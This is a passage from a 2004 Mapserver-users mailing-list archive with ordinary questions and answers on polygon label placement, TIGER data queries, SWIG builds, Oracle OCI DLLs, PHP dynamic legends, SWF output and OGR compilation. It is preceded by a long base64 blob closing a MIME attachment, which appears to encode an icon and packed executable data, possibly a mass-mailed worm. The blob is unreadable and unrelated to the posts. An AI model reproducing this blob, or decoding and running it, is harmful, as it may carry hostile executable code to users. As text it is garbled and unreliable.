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 /0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From nacional at cbs.umn.edu Mon Mar 29 20:17:57 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 29 Mar 2004 22:17:57 -0600 Subject: [Mapserver-users] polygon label placement In-Reply-To: <40688CF6.3030100@dmsolutions.ca> References: <40688CF6.3030100@dmsolutions.ca> Message-ID: <1080620276.27267.6.camel@localhost> Dean, Just a guess but is it possible that you have a sliver polygon and that polygon's the one getting labeled? -Perry On Mon, 2004-03-29 at 14:54, Dean Gadoury wrote: > Hi, > Every now and then I need to label polygons in MapServer and I'm often > unsatisfied with the resulting placement. Labeling is fine for points > and lines, but when it comes to polygons it can be unpredictable. I've > attached an image produced by MapServer in which the label for Florida > is in an odd location. Does anyone have any insight into how MapServer > decides where to place labels in polygons? > > If I'm not mistaken the POSITION parameter will only place the label > relative to the point at which MapServer decides the label will go. > Depending on the label's POSITION its quite possible to have labels that > fall completely outside a polygon. Is there a way to force labels to be > within a polygon? Is there anything else I'm missing? > > In the attached image the label position is CC and the label is way up > on the FL/AL border. > > Dean -- "He's no geek.His tan's too good." -Benjamin Choate From dharanibabus at hotmail.com Mon Mar 29 21:32:34 2004 From: dharanibabus at hotmail.com (Dharani Babu) Date: Tue, 30 Mar 2004 11:02:34 +0530 Subject: [Mapserver-users] LOCATION QUERY HELP Message-ID: Hi all I am working with TIGER line files + Map Server based on itasca demo method( init html , template html , map ) . I am trying to get an app similar to http://www.census.gov/cgi-bin/gazetteer I have a simple question to the forum 1) With this itasca demo method could I be able to project a city or place as it does in the gazateer application ? -- Thats How to make the map project the city or location name entered ? Any help will be appareciated with regards Dharani _________________________________________________________________ Apply for a Citibank Suvidha Account. http://go.msnserver.com/IN/45533.asp Get FREE organiser.? From stephen.harwin at forestrytas.com.au Mon Mar 29 22:26:58 2004 From: stephen.harwin at forestrytas.com.au (Stephen Harwin) Date: Tue, 30 Mar 2004 16:26:58 +1000 Subject: [Mapserver-users] SWIG 1.1 Message-ID: Hi, I was wondering whether anyone could provide me with SWIG 1.1 (compiled for Windows), it is needed for using the ArcIMS emulator, but I can only find the uncompiled version and the version 1.3, swigwin (which will apparently give me strange results...). I have not got a compiler and was hoping to avoid downloading yet another piece of the puzzle needed to get everything working. Thanks Steve This transmission is intended solely for the person or organisation to whom it is addressed. It is confidential and may contain legally privileged information. If you have received this transmission in error, you may not use, copy or distribute it. Please advise us by return e-mail or by phoning 61 3 62338203 and immediately delete the transmission in its entirety. We will meet your reasonable expenses of notifying us. Despite our use of anti-virus software, Forestry Tasmania cannot guarantee that this transmission is virus-free. From stephen.harwin at forestrytas.com.au Mon Mar 29 22:29:02 2004 From: stephen.harwin at forestrytas.com.au (Stephen Harwin) Date: Tue, 30 Mar 2004 16:29:02 +1000 Subject: [Mapserver-users] OCI dll's Message-ID: Hi, Where do i get the OCI dll's needed for the Oracle Spatial data access? I have searched Oracle Technet, but only find mention of OCIthout any links to a dll download... am I looking in the wrong place? Thanks Steve This transmission is intended solely for the person or organisation to whom it is addressed. It is confidential and may contain legally privileged information. If you have received this transmission in error, you may not use, copy or distribute it. Please advise us by return e-mail or by phoning 61 3 62338203 and immediately delete the transmission in its entirety. We will meet your reasonable expenses of notifying us. Despite our use of anti-virus software, Forestry Tasmania cannot guarantee that this transmission is virus-free. From bartvde at xs4all.nl Mon Mar 29 22:43:58 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 30 Mar 2004 08:43:58 +0200 Subject: [Mapserver-users] OCI dll's In-Reply-To: References: Message-ID: Hi Steve, best thing is to download the Oracle client, it includes the OCI dll's. You can find the Oracle client on technet. Best regards, Bart On Tue, 30 Mar 2004 16:29:02 +1000, Stephen Harwin wrote: > Hi, > > Where do i get the OCI dll's needed for the Oracle Spatial data access? > I have searched Oracle Technet, but only find mention of OCIthout any > links to a dll download... am I looking in the wrong place? > > Thanks > Steve > This transmission is intended solely for the person > or organisation to whom it is addressed. > It is confidential and may contain legally privileged information. > If you have received this transmission in error, > you may not use, copy or distribute it. > Please advise us by return e-mail or by phoning 61 3 62338203 > and immediately delete the transmission in its entirety. > We will meet your reasonable expenses of notifying us. > Despite our use of anti-virus software, Forestry Tasmania cannot > guarantee > that this transmission is virus-free. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From e9625730 at student.tuwien.ac.at Tue Mar 30 02:21:32 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Tue, 30 Mar 2004 12:21:32 +0200 (METDST) Subject: [Mapserver-users] need help with PHPDynLegend Message-ID: hi list. i'm struggling with the following problem for days and i hope that someone could help me with this topic. although i found some similar questions in the mapserver support, i couldn't find any answer for me. i want to create a dynamic legend with layer controls using PHP MapScript as it is described in http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPDynLegend i simply entered my mapfile to test this snippet of PHP code but it didn't work. now i have three understanding problems. first: do i just have to include "METADATA, LYRNAME, END" to the layers in the mapfile? or are there some other adjustments? second: where does the path "$path_to_legend="C:\\Inetpub\\wwwroot\\Lockport\\legend\\";" and "url_to_legend="legend/";" go to? to which legend? and third: how is the "dyn_legend.php" created? i hope that someone finds a few minutes to help me understanding how i can get the dynamic legend going with my mapfile. thx, elisabeth. From guillaume.sueur at geosignal.fr Tue Mar 30 02:28:04 2004 From: guillaume.sueur at geosignal.fr (=?ISO-8859-1?Q?=22Guillaume_SUEUR_=28G=E9osignal=29=22?=) Date: Tue, 30 Mar 2004 12:28:04 +0200 Subject: [Mapserver-users] drawLegend, drawScalebar and SWF Output Message-ID: <40694BB4.4050905@geosignal.fr> Hi there, I'm playing around with the flash output which works fine. But when I use drawLegend or DrawScalebar a 0 kO swf file is generated and the script never stops. Using the same mapfile with JPEG or PNG output works fine. Any idea ? Thanks Guillaume SUEUR -- From svincent at idems.fr Tue Mar 30 06:48:32 2004 From: svincent at idems.fr (Sebastien Vincent) Date: Tue, 30 Mar 2004 16:48:32 +0200 Subject: [Mapserver-users] Problems compiling mapserv with OGR support. Message-ID: <406988C0.7070402@idems.fr> Hello everybody :) First excuse me for my english, I'm french :) I'm trying to enable OGR support for mapserv, so I'm trying to compile it as follow : [root at nostalgia mapserver-4.0.1]# ./configure --with-ogr=../gdal-1.2.0b/apps/gdal-config \ --with-gdal=../gdal-1.2.0b/apps/gdal-config [root at nostalgia mapserver-4.0.1]# make But i've lots of errors durring make (configure scripts 